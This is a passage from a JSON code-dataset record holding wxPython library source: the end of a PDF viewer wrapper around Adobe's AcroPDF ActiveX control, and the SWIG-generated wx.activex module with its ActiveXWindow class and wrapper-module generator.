to display the document only, or to\n additionally display bookmarks or thumbnails. pageMode =\n 'none' or 'bookmarks' or 'thumbs'.\n \n ## NB.'thumbs' is case-sensitive, the other are not (dfh)\n \"\"\" \n if self.ie.Document:\n return self.ie.Document.setPageMode(pageMode)\n else:\n raise PDFWindowError()\n\n def setShowScrollbars(self, On):\n \"\"\"\n Determines whether scrollbars will appear in the document\n view.\n\n ## NB. If scrollbars are off, the navigation tools disappear as well (dfh)\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.setShowScrollbars(On)\n else:\n raise PDFWindowError()\n\n def setShowToolbar(self, On):\n \"\"\"\n Determines whether a toolbar will appear in the application.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.setShowToolbar(On)\n else:\n raise PDFWindowError()\n\n def setView(self, viewMode):\n \"\"\"\n Determines how the page will fit in the current view.\n viewMode possible values:\n\n ======== ==============================================\n 'Fit' fits whole page within the window both vertically\n and horizontally.\n 'FitH' fits the width of the page within the window.\n 'FitV' fits the height of the page within the window.\n 'FitB' fits bounding box within the window both vertically\n and horizontally.\n 'FitBH' fits the width of the bounding box within the window.\n 'FitBV' fits the height of the bounding box within the window.\n ======== ==============================================\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.setView(viewMode)\n else:\n raise PDFWindowError()\n\n def setViewRect(self, left, top, width, height):\n \"\"\"\n Sets the view rectangle according to the specified coordinates.\n\n :param left: The upper left horizontal coordinate.\n :param top: The vertical coordinate in the upper left corner.\n :param width: The horizontal width of the rectangle.\n :param height: The vertical height of the rectangle.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.setViewRect(left, top, width, height)\n else:\n raise PDFWindowError()\n\n def setViewScroll(self, viewMode, offset):\n \"\"\"\n Sets the view of a page according to the specified string.\n Depending on the view mode, the page is either scrolled to\n the right or scrolled down by the amount specified in\n offset. Possible values of viewMode are as in setView\n above. offset is the horizontal or vertical coordinate\n positioned either at the left or top edge.\n \"\"\" \n if self.ie.Document:\n return self.ie.Document.setViewScroll(viewMode, offset)\n else:\n raise PDFWindowError()\n\n def setZoom(self, percent):\n \"\"\"\n Sets the magnification according to the specified value\n expressed as a percentage (float)\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.setZoom(percent)\n else:\n raise PDFWindowError()\n\n def setZoomScroll(self, percent, left, top):\n \"\"\"\n Sets the magnification according to the specified value,\n and scrolls the page view both horizontally and vertically\n according to the specified amounts.\n \n :param left: the horizontal coordinate positioned at the left edge.\n :param top: the vertical coordinate positioned at the top edge.\n \"\"\"\n if self.ie.Document:\n return self.ie.Document.setZoomScroll(percent, left, top)\n else:\n raise PDFWindowError()\n\n \n\nelif get_acroversion() is not None:\n import wx.activex\n\n clsID = '{CA8A9780-280D-11CF-A24D-444553540000}'\n progID = 'AcroPDF.PDF.1'\n\n\n # Create eventTypes and event binders\n wxEVT_Error = wx.activex.RegisterActiveXEvent('OnError')\n wxEVT_Message = wx.activex.RegisterActiveXEvent('OnMessage')\n\n EVT_Error = wx.PyEventBinder(wxEVT_Error, 1)\n EVT_Message = wx.PyEventBinder(wxEVT_Message, 1)\n\n\n # Derive a new class from ActiveXWindow\n class PDFWindow(wx.activex.ActiveXWindow):\n def __init__(self, parent, ID=-1, pos=wx.DefaultPosition,\n size=wx.DefaultSize, style=0, name='PDFWindow'):\n wx.activex.ActiveXWindow.__init__(self, parent,\n wx.activex.CLSID('{CA8A9780-280D-11CF-A24D-444553540000}'),\n ID, pos, size, style, name)\n\n # Methods exported by the ActiveX object\n def QueryInterface(self, riid):\n return self.CallAXMethod('QueryInterface', riid)\n\n def AddRef(self):\n return self.CallAXMethod('AddRef')\n\n def Release(self):\n return self.CallAXMethod('Release')\n\n def GetTypeInfoCount(self):\n return self.CallAXMethod('GetTypeInfoCount')\n\n def GetTypeInfo(self, itinfo, lcid):\n return self.CallAXMethod('GetTypeInfo', itinfo, lcid)\n\n def GetIDsOfNames(self, riid, rgszNames, cNames, lcid):\n return self.CallAXMethod('GetIDsOfNames', riid, rgszNames, cNames, lcid)\n\n def Invoke(self, dispidMember, riid, lcid, wFlags, pdispparams):\n return self.CallAXMethod('Invoke', dispidMember, riid, lcid, wFlags, pdispparams)\n\n def LoadFile(self, fileName):\n return self.CallAXMethod('LoadFile', fileName)\n\n def setShowToolbar(self, On):\n return self.CallAXMethod('setShowToolbar', On)\n\n def gotoFirstPage(self):\n return self.CallAXMethod('gotoFirstPage')\n\n def gotoLastPage(self):\n return self.CallAXMethod('gotoLastPage')\n\n def gotoNextPage(self):\n return self.CallAXMethod('gotoNextPage')\n\n def gotoPreviousPage(self):\n return self.CallAXMethod('gotoPreviousPage')\n\n def setCurrentPage(self, n):\n return self.CallAXMethod('setCurrentPage', n)\n\n def goForwardStack(self):\n return self.CallAXMethod('goForwardStack')\n\n def goBackwardStack(self):\n return self.CallAXMethod('goBackwardStack')\n\n def setPageMode(self, pageMode):\n return self.CallAXMethod('setPageMode', pageMode)\n\n def setLayoutMode(self, layoutMode):\n return self.CallAXMethod('setLayoutMode', layoutMode)\n\n def setNamedDest(self, namedDest):\n return self.CallAXMethod('setNamedDest', namedDest)\n\n def Print(self):\n return self.CallAXMethod('Print')\n\n def printWithDialog(self):\n return self.CallAXMethod('printWithDialog')\n\n def setZoom(self, percent):\n return self.CallAXMethod('setZoom', percent)\n\n def setZoomScroll(self, percent, left, top):\n return self.CallAXMethod('setZoomScroll', percent, left, top)\n\n def setView(self, viewMode):\n return self.CallAXMethod('setView', viewMode)\n\n def setViewScroll(self, viewMode, offset):\n return self.CallAXMethod('setViewScroll', viewMode, offset)\n\n def setViewRect(self, left, top, width, height):\n return self.CallAXMethod('setViewRect', left, top, width, height)\n\n def printPages(self, from_, to):\n return self.CallAXMethod('printPages', from_, to)\n\n def printPagesFit(self, from_, to, shrinkToFit):\n return self.CallAXMethod('printPagesFit', from_, to, shrinkToFit)\n\n def printAll(self):\n return self.CallAXMethod('printAll')\n\n def printAllFit(self, shrinkToFit):\n return self.CallAXMethod('printAllFit', shrinkToFit)\n\n def setShowScrollbars(self, On):\n return self.CallAXMethod('setShowScrollbars', On)\n\n def GetVersions(self):\n return self.CallAXMethod('GetVersions')\n\n def setCurrentHighlight(self, a, b, c, d):\n return self.CallAXMethod('setCurrentHighlight', a, b, c, d)\n\n def postMessage(self, strArray):\n return self.CallAXMethod('postMessage', strArray)\n\n # Getters, Setters and properties\n def _get_src(self):\n return self.GetAXProp('src')\n def _set_src(self, src):\n self.SetAXProp('src', src)\n src = property(_get_src, _set_src)\n\n def _get_messageHandler(self):\n return self.GetAXProp('messageHandler')\n def _set_messageHandler(self, messageHandler):\n self.SetAXProp('messageHandler', messageHandler)\n messagehandler = property(_get_messageHandler, _set_messageHandler)\n\n\n# PROPERTIES\n# --------------------\n# src\n# type:string arg:string canGet:True canSet:True\n# \n# messagehandler\n# type:VT_VARIANT arg:VT_VARIANT canGet:True canSet:True\n# \n# \n# \n# \n# METHODS\n# --------------------\n# QueryInterface\n# retType: VT_VOID\n# params:\n# riid\n# in:True out:False optional:False type:unsupported type 29\n# ppvObj\n# in:False out:True optional:False type:unsupported type 26\n# \n# AddRef\n# retType: int\n# \n# Release\n# retType: int\n# \n# GetTypeInfoCount\n# retType: VT_VOID\n# params:\n# pctinfo\n# in:False out:True optional:False type:int\n# \n# GetTypeInfo\n# retType: VT_VOID\n# params:\n# itinfo\n# in:True out:False optional:False type:int\n# lcid\n# in:True out:False optional:False type:int\n# pptinfo\n# in:False out:True optional:False type:unsupported type 26\n# \n# GetIDsOfNames\n# retType: VT_VOID\n# params:\n# riid\n# in:True out:False optional:False type:unsupported type 29\n# rgszNames\n# in:True out:False optional:False type:unsupported type 26\n# cNames\n# in:True out:False optional:False type:int\n# lcid\n# in:True out:False optional:False type:int\n# rgdispid\n# in:False out:True optional:False type:int\n# \n# Invoke\n# retType: VT_VOID\n# params:\n# dispidMember\n# in:True out:False optional:False type:int\n# riid\n# in:True out:False optional:False type:unsupported type 29\n# lcid\n# in:True out:False optional:False type:int\n# wFlags\n# in:True out:False optional:False type:int\n# pdispparams\n# in:True out:False optional:False type:unsupported type 29\n# pvarResult\n# in:False out:True optional:False type:VT_VARIANT\n# pexcepinfo\n# in:False out:True optional:False type:unsupported type 29\n# puArgErr\n# in:False out:True optional:False type:int\n# \n# LoadFile\n# retType: bool\n# params:\n# fileName\n# in:True out:False optional:False type:string\n# \n# setShowToolbar\n# retType: VT_VOID\n# params:\n# On\n# in:True out:False optional:False type:bool\n# \n# gotoFirstPage\n# retType: VT_VOID\n# \n# gotoLastPage\n# retType: VT_VOID\n# \n# gotoNextPage\n# retType: VT_VOID\n# \n# gotoPreviousPage\n# retType: VT_VOID\n# \n# setCurrentPage\n# retType: VT_VOID\n# params:\n# n\n# in:True out:False optional:False type:int\n# \n# goForwardStack\n# retType: VT_VOID\n# \n# goBackwardStack\n# retType: VT_VOID\n# \n# setPageMode\n# retType: VT_VOID\n# params:\n# pageMode\n# in:True out:False optional:False type:string\n# \n# setLayoutMode\n# retType: VT_VOID\n# params:\n# layoutMode\n# in:True out:False optional:False type:string\n# \n# setNamedDest\n# retType: VT_VOID\n# params:\n# namedDest\n# in:True out:False optional:False type:string\n# \n# Print\n# retType: VT_VOID\n# \n# printWithDialog\n# retType: VT_VOID\n# \n# setZoom\n# retType: VT_VOID\n# params:\n# percent\n# in:True out:False optional:False type:double\n# \n# setZoomScroll\n# retType: VT_VOID\n# params:\n# percent\n# in:True out:False optional:False type:double\n# left\n# in:True out:False optional:False type:double\n# top\n# in:True out:False optional:False type:double\n# \n# setView\n# retType: VT_VOID\n# params:\n# viewMode\n# in:True out:False optional:False type:string\n# \n# setViewScroll\n# retType: VT_VOID\n# params:\n# viewMode\n# in:True out:False optional:False type:string\n# offset\n# in:True out:False optional:False type:double\n# \n# setViewRect\n# retType: VT_VOID\n# params:\n# left\n# in:True out:False optional:False type:double\n# top\n# in:True out:False optional:False type:double\n# width\n# in:True out:False optional:False type:double\n# height\n# in:True out:False optional:False type:double\n# \n# printPages\n# retType: VT_VOID\n# params:\n# from\n# in:True out:False optional:False type:int\n# to\n# in:True out:False optional:False type:int\n# \n# printPagesFit\n# retType: VT_VOID\n# params:\n# from\n# in:True out:False optional:False type:int\n# to\n# in:True out:False optional:False type:int\n# shrinkToFit\n# in:True out:False optional:False type:bool\n# \n# printAll\n# retType: VT_VOID\n# \n# printAllFit\n# retType: VT_VOID\n# params:\n# shrinkToFit\n# in:True out:False optional:False type:bool\n# \n# setShowScrollbars\n# retType: VT_VOID\n# params:\n# On\n# in:True out:False optional:False type:bool\n# \n# GetVersions\n# retType: VT_VARIANT\n# \n# setCurrentHightlight\n# retType: VT_VOID\n# params:\n# a\n# in:True out:False optional:False type:int\n# b\n# in:True out:False optional:False type:int\n# c\n# in:True out:False optional:False type:int\n# d\n# in:True out:False optional:False type:int\n# \n# setCurrentHighlight\n# retType: VT_VOID\n# params:\n# a\n# in:True out:False optional:False type:int\n# b\n# in:True out:False optional:False type:int\n# c\n# in:True out:False optional:False type:int\n# d\n# in:True out:False optional:False type:int\n# \n# postMessage\n# retType: VT_VOID\n# params:\n# strArray\n# in:True out:False optional:False type:VT_VARIANT\n# \n# \n# \n# \n# EVENTS\n# --------------------\n# Error\n# retType: VT_VOID\n# \n# Message\n# retType: VT_VOID\n# \n# \n# \n# \n", "id": "9208893", "language": "Python", "matching_score": 4.06221342086792, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pdfwin_old.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\nimport _activex\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _core\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \n#---------------------------------------------------------------------------\n\nclass CLSID(object):\n \"\"\"\n This class wraps the Windows CLSID structure and is used to\n specify the class of the ActiveX object that is to be created. A\n CLSID can be constructed from either a ProgID string, (such as\n 'WordPad.Document.1') or a classID string, (such as\n '{CA8A9783-280D-11CF-A24D-444553540000}').\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, String id) -> CLSID\n\n This class wraps the Windows CLSID structure and is used to\n specify the class of the ActiveX object that is to be created. A\n CLSID can be constructed from either a ProgID string, (such as\n 'WordPad.Document.1') or a classID string, (such as\n '{CA8A9783-280D-11CF-A24D-444553540000}').\n \"\"\"\n _activex.CLSID_swiginit(self,_activex.new_CLSID(*args, **kwargs))\n __swig_destroy__ = _activex.delete_CLSID\n __del__ = lambda self : None;\n def GetCLSIDString(*args, **kwargs):\n \"\"\"GetCLSIDString(self) -> String\"\"\"\n return _activex.CLSID_GetCLSIDString(*args, **kwargs)\n\n def GetProgIDString(*args, **kwargs):\n \"\"\"GetProgIDString(self) -> String\"\"\"\n return _activex.CLSID_GetProgIDString(*args, **kwargs)\n\n def __str__(self): return self.GetCLSIDString() \n_activex.CLSID_swigregister(CLSID)\n\n#---------------------------------------------------------------------------\n\nclass ParamX(object):\n \"\"\"Proxy of C++ ParamX class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n flags = property(_activex.ParamX_flags_get)\n isPtr = property(_activex.ParamX_isPtr_get)\n isSafeArray = property(_activex.ParamX_isSafeArray_get)\n isOptional = property(_activex.ParamX_isOptional_get)\n vt = property(_activex.ParamX_vt_get)\n name = property(_activex.ParamX_name_get)\n vt_type = property(_activex.ParamX_vt_type_get)\n\n isIn = property(_activex.ParamX_IsIn)\n\n isOut = property(_activex.ParamX_IsOut)\n\n isRetVal = property(_activex.ParamX_IsRetVal)\n\n_activex.ParamX_swigregister(ParamX)\n\nclass FuncX(object):\n \"\"\"Proxy of C++ FuncX class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n name = property(_activex.FuncX_name_get)\n memid = property(_activex.FuncX_memid_get)\n hasOut = property(_activex.FuncX_hasOut_get)\n retType = property(_activex.FuncX_retType_get)\n params = property(_activex.FuncX_params_get)\n_activex.FuncX_swigregister(FuncX)\n\nclass PropX(object):\n \"\"\"Proxy of C++ PropX class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n name = property(_activex.PropX_name_get)\n memid = property(_activex.PropX_memid_get)\n type = property(_activex.PropX_type_get)\n arg = property(_activex.PropX_arg_get)\n putByRef = property(_activex.PropX_putByRef_get)\n canGet = property(_activex.PropX_CanGet)\n\n canSet = property(_activex.PropX_CanSet)\n\n_activex.PropX_swigregister(PropX)\n\nclass ParamXArray(object):\n \"\"\"Proxy of C++ ParamXArray class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def __nonzero__(*args, **kwargs):\n \"\"\"__nonzero__(self) -> bool\"\"\"\n return _activex.ParamXArray___nonzero__(*args, **kwargs)\n\n def __len__(*args, **kwargs):\n \"\"\"__len__(self) -> int\"\"\"\n return _activex.ParamXArray___len__(*args, **kwargs)\n\n def __getitem__(*args, **kwargs):\n \"\"\"__getitem__(self, int idx) -> ParamX\"\"\"\n return _activex.ParamXArray___getitem__(*args, **kwargs)\n\n_activex.ParamXArray_swigregister(ParamXArray)\n\nclass FuncXArray(object):\n \"\"\"Proxy of C++ FuncXArray class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def __nonzero__(*args, **kwargs):\n \"\"\"__nonzero__(self) -> bool\"\"\"\n return _activex.FuncXArray___nonzero__(*args, **kwargs)\n\n def __len__(*args, **kwargs):\n \"\"\"__len__(self) -> int\"\"\"\n return _activex.FuncXArray___len__(*args, **kwargs)\n\n def __getitem__(*args, **kwargs):\n \"\"\"__getitem__(self, int idx) -> FuncX\"\"\"\n return _activex.FuncXArray___getitem__(*args, **kwargs)\n\n_activex.FuncXArray_swigregister(FuncXArray)\n\nclass PropXArray(object):\n \"\"\"Proxy of C++ PropXArray class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def __nonzero__(*args, **kwargs):\n \"\"\"__nonzero__(self) -> bool\"\"\"\n return _activex.PropXArray___nonzero__(*args, **kwargs)\n\n def __len__(*args, **kwargs):\n \"\"\"__len__(self) -> int\"\"\"\n return _activex.PropXArray___len__(*args, **kwargs)\n\n def __getitem__(*args, **kwargs):\n \"\"\"__getitem__(self, int idx) -> PropX\"\"\"\n return _activex.PropXArray___getitem__(*args, **kwargs)\n\n_activex.PropXArray_swigregister(PropXArray)\n\n#---------------------------------------------------------------------------\n\nclass ActiveXWindow(_core.Window):\n \"\"\"\n ActiveXWindow derives from wxWindow and the constructor accepts a\n CLSID for the ActiveX Control that should be created. The\n ActiveXWindow class simply adds methods that allow you to query\n some of the TypeInfo exposed by the ActiveX object, and also to\n get/set properties or call methods by name. The Python\n implementation automatically handles converting parameters and\n return values to/from the types expected by the ActiveX code as\n specified by the TypeInfo.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, CLSID clsId, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, \n String name=PanelNameStr) -> ActiveXWindow\n\n Creates an ActiveX control from the clsID given and makes it act\n as much like a regular wx.Window as possible.\n \"\"\"\n _activex.ActiveXWindow_swiginit(self,_activex.new_ActiveXWindow(*args, **kwargs))\n self._setOORInfo(self)\n\n def GetCLSID(*args, **kwargs):\n \"\"\"\n GetCLSID(self) -> CLSID\n\n Return the CLSID used to construct this ActiveX window\n \"\"\"\n return _activex.ActiveXWindow_GetCLSID(*args, **kwargs)\n\n def GetAXEventCount(*args, **kwargs):\n \"\"\"\n GetAXEventCount(self) -> int\n\n Number of events defined for this control\n \"\"\"\n return _activex.ActiveXWindow_GetAXEventCount(*args, **kwargs)\n\n def GetAXEventDesc(*args, **kwargs):\n \"\"\"\n GetAXEventDesc(self, int idx) -> FuncX\n\n Returns event description by index\n \"\"\"\n return _activex.ActiveXWindow_GetAXEventDesc(*args, **kwargs)\n\n def GetAXPropCount(*args, **kwargs):\n \"\"\"\n GetAXPropCount(self) -> int\n\n Number of properties defined for this control\n \"\"\"\n return _activex.ActiveXWindow_GetAXPropCount(*args, **kwargs)\n\n def GetAXPropDesc(*args):\n \"\"\"\n GetAXPropDesc(self, int idx) -> PropX\n GetAXPropDesc(self, String name) -> PropX\n \"\"\"\n return _activex.ActiveXWindow_GetAXPropDesc(*args)\n\n def GetAXMethodCount(*args, **kwargs):\n \"\"\"\n GetAXMethodCount(self) -> int\n\n Number of methods defined for this control\n \"\"\"\n return _activex.ActiveXWindow_GetAXMethodCount(*args, **kwargs)\n\n def GetAXMethodDesc(*args):\n \"\"\"\n GetAXMethodDesc(self, int idx) -> FuncX\n GetAXMethodDesc(self, String name) -> FuncX\n \"\"\"\n return _activex.ActiveXWindow_GetAXMethodDesc(*args)\n\n def GetAXEvents(*args, **kwargs):\n \"\"\"\n GetAXEvents(self) -> FuncXArray\n\n Returns a sequence of FuncX objects describing the events\n available for this ActiveX object.\n \"\"\"\n return _activex.ActiveXWindow_GetAXEvents(*args, **kwargs)\n\n def GetAXMethods(*args, **kwargs):\n \"\"\"\n GetAXMethods(self) -> FuncXArray\n\n Returns a sequence of FuncX objects describing the methods\n available for this ActiveX object.\n \"\"\"\n return _activex.ActiveXWindow_GetAXMethods(*args, **kwargs)\n\n def GetAXProperties(*args, **kwargs):\n \"\"\"\n GetAXProperties(self) -> PropXArray\n\n Returns a sequence of PropX objects describing the properties\n available for this ActiveX object.\n \"\"\"\n return _activex.ActiveXWindow_GetAXProperties(*args, **kwargs)\n\n def SetAXProp(*args, **kwargs):\n \"\"\"\n SetAXProp(self, String name, PyObject value)\n\n Set a property of the ActiveX object by name.\n \"\"\"\n return _activex.ActiveXWindow_SetAXProp(*args, **kwargs)\n\n def GetAXProp(*args, **kwargs):\n \"\"\"\n GetAXProp(self, String name) -> PyObject\n\n Get the value of an ActiveX property by name.\n \"\"\"\n return _activex.ActiveXWindow_GetAXProp(*args, **kwargs)\n\n def _CallAXMethod(*args):\n \"\"\"\n _CallAXMethod(self, String name, PyObject args) -> PyObject\n\n The implementation for CallMethod. Calls an ActiveX method, by\n name passing the parameters given in args.\n \"\"\"\n return _activex.ActiveXWindow__CallAXMethod(*args)\n\n def CallAXMethod(self, name, *args):\n \"\"\"\n Front-end for _CallMethod. Simply passes all positional args\n after the name as a single tuple to _CallMethod.\n \"\"\"\n return self._CallAXMethod(name, args)\n\n_activex.ActiveXWindow_swigregister(ActiveXWindow)\n\n#---------------------------------------------------------------------------\n\n\ndef RegisterActiveXEvent(*args, **kwargs):\n \"\"\"\n RegisterActiveXEvent(String eventName) -> EventType\n\n Creates a standard wx event ID for the given eventName.\n \"\"\"\n return _activex.RegisterActiveXEvent(*args, **kwargs)\nclass ActiveXEvent(_core.CommandEvent):\n \"\"\"\n An instance of ActiveXEvent is sent to the handler for all bound\n ActiveX events. Any event parameters from the ActiveX cntrol are\n turned into attributes of the Python proxy for this event object.\n Additionally, there is a property called eventName that will\n return (surprisingly <wink>) the name of the ActiveX event.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n eventName = property(_activex.ActiveXEvent_EventName)\n\n def _preCallInit(*args, **kwargs):\n \"\"\"_preCallInit(self, PyObject pyself)\"\"\"\n return _activex.ActiveXEvent__preCallInit(*args, **kwargs)\n\n def _postCallCleanup(*args, **kwargs):\n \"\"\"_postCallCleanup(self, PyObject pyself)\"\"\"\n return _activex.ActiveXEvent__postCallCleanup(*args, **kwargs)\n\n_activex.ActiveXEvent_swigregister(ActiveXEvent)\n\n#---------------------------------------------------------------------------\n\nclass IEHtmlWindowBase(ActiveXWindow):\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n _activex.IEHtmlWindowBase_swiginit(self,_activex.new_IEHtmlWindowBase(*args, **kwargs))\n self._setOORInfo(self)\n\n def SetCharset(*args, **kwargs): return _activex.IEHtmlWindowBase_SetCharset(*args, **kwargs)\n def LoadString(*args, **kwargs): return _activex.IEHtmlWindowBase_LoadString(*args, **kwargs)\n def LoadStream(*args, **kwargs): return _activex.IEHtmlWindowBase_LoadStream(*args, **kwargs)\n def GetStringSelection(*args, **kwargs): return _activex.IEHtmlWindowBase_GetStringSelection(*args, **kwargs)\n def GetText(*args, **kwargs): return _activex.IEHtmlWindowBase_GetText(*args, **kwargs)\n_activex.IEHtmlWindowBase_swigregister(IEHtmlWindowBase)\n\n#---------------------------------------------------------------------------\n# Some helper and utility functions for ActiveX\n\n\nt4 = \" \" * 4\nt8 = \" \" * 8\n\ndef GetAXInfo(ax):\n \"\"\"\n Returns a printable summary of the TypeInfo from the ActiveX instance\n passed in.\n \"\"\"\n\n def ProcessFuncX(f, out, name):\n out.append(name)\n out.append(t4 + \"retType: %s\" % f.retType.vt_type)\n if f.params:\n out.append(t4 + \"params:\")\n for p in f.params:\n out.append(t8 + p.name)\n out.append(t8+t4+ \"in:%s out:%s optional:%s type:%s\" % (p.isIn, p.isOut, p.isOptional, p.vt_type))\n out.append('')\n\n def ProcessPropX(p, out):\n out.append(GernerateAXModule.trimPropName(p.name))\n out.append(t4+ \"type:%s arg:%s canGet:%s canSet:%s\" % (p.type.vt_type, p.arg.vt_type, p.canGet, p.canSet))\n out.append('')\n\n out = []\n\n out.append(\"PROPERTIES\")\n out.append(\"-\"*20)\n for p in ax.GetAXProperties():\n ProcessPropX(p, out)\n out.append('\\n\\n')\n\n out.append(\"METHODS\")\n out.append(\"-\"*20)\n for m in ax.GetAXMethods():\n ProcessFuncX(m, out, GernerateAXModule.trimMethodName(m.name))\n out.append('\\n\\n')\n\n out.append(\"EVENTS\")\n out.append(\"-\"*20)\n for e in ax.GetAXEvents():\n ProcessFuncX(e, out, GernerateAXModule.trimEventName(e.name))\n out.append('\\n\\n')\n\n return \"\\n\".join(out)\n\n\n\nclass GernerateAXModule:\n def __init__(self, ax, className, modulePath, moduleName=None, verbose=False):\n \"\"\"\n Make a Python module file with a class that has been specialized\n for the AcitveX object.\n\n ax An instance of the ActiveXWindow class\n className The name to use for the new class\n modulePath The path where the new module should be written to\n moduleName The name of the .py file to create. If not given\n then the className will be used.\n \"\"\"\n import os\n if moduleName is None:\n moduleName = className + '.py'\n filename = os.path.join(modulePath, moduleName)\n if verbose:\n print \"Creating module in:\", filename\n print \" ProgID: \", ax.GetCLSID().GetProgIDString()\n print \" CLSID: \", ax.GetCLSID().GetCLSIDString()\n print\n self.mf = file(filename, \"w\")\n self.WriteFileHeader(ax)\n self.WriteEvents(ax)\n self.WriteClassHeader(ax, className)\n self.WriteMethods(ax)\n self.WriteProperties(ax)\n self.WriteDocs(ax)\n self.mf.close()\n del self.mf\n\n\n def WriteFileHeader(self, ax):\n self.write(\"# This module was generated by the wx.activex.GernerateAXModule class\\n\"\n \"# (See also the genaxmodule script.)\\n\")\n self.write(\"import wx\")\n self.write(\"import wx.activex\\n\")\n self.write(\"clsID = '%s'\\nprogID = '%s'\\n\"\n % (ax.GetCLSID().GetCLSIDString(), ax.GetCLSID().GetProgIDString()))\n self.write(\"\\n\")\n\n\n def WriteEvents(self, ax):\n events = ax.GetAXEvents()\n if events:\n self.write(\"# Create eventTypes and event binders\")\n for e in events:\n self.write(\"wxEVT_%s = wx.activex.RegisterActiveXEvent('%s')\"\n % (self.trimEventName(e.name), e.name))\n self.write()\n for e in events:\n n = self.trimEventName(e.name)\n self.write(\"EVT_%s = wx.PyEventBinder(wxEVT_%s, 1)\" % (n,n))\n self.write(\"\\n\")\n\n\n def WriteClassHeader(self, ax, className):\n self.write(\"# Derive a new class from ActiveXWindow\")\n self.write(\"\"\"\\\nclass %s(wx.activex.ActiveXWindow):\n def __init__(self, parent, ID=-1, pos=wx.DefaultPosition,\n size=wx.DefaultSize, style=0, name='%s'):\n wx.activex.ActiveXWindow.__init__(self, parent,\n wx.activex.CLSID('%s'),\n ID, pos, size, style, name)\n \"\"\" % (className, className, ax.GetCLSID().GetCLSIDString()) )\n\n\n def WriteMethods(self, ax):\n methods = ax.GetAXMethods()\n if methods:\n self.write(t4, \"# Methods exported by the ActiveX object\")\n for m in methods:\n name = self.trimMethodName(m.name)\n self.write(t4, \"def %s(self%s):\" % (name, self.getParameters(m, True)))\n self.write(t8, \"return self.CallAXMethod('%s'%s)\" % (m.name, self.getParameters(m, False)))\n self.write()\n \n\n def WriteProperties(self, ax):\n props = ax.GetAXProperties()\n if props:\n self.write(t4, \"# Getters, Setters and properties\")\n for p in props:\n getterName = setterName = \"None\"\n if p.canGet:\n getterName = \"_get_\" + p.name\n self.write(t4, \"def %s(self):\" % getterName)\n self.write(t8, \"return self.GetAXProp('%s')\" % p.name)\n if p.canSet:\n setterName = \"_set_\" + p.name\n self.write(t4, \"def %s(self, %s):\" % (setterName, p.arg.name))\n self.write(t8, \"self.SetAXProp('%s', %s)\" % (p.name, p.arg.name))\n\n self.write(t4, \"%s = property(%s, %s)\" %\n (self.trimPropName(p.name), getterName, setterName))\n self.write()\n \n\n def WriteDocs(self, ax):\n self.write()\n doc = GetAXInfo(ax)\n for line in doc.split('\\n'):\n self.write(\"# \", line)\n \n\n\n def write(self, *args):\n for a in args:\n self.mf.write(a)\n self.mf.write(\"\\n\")\n\n\n def trimEventName(name):\n if name.startswith(\"On\"):\n name = name[2:]\n return name\n trimEventName = staticmethod(trimEventName)\n\n\n def trimPropName(name):\n #name = name[0].lower() + name[1:]\n name = name.lower()\n import 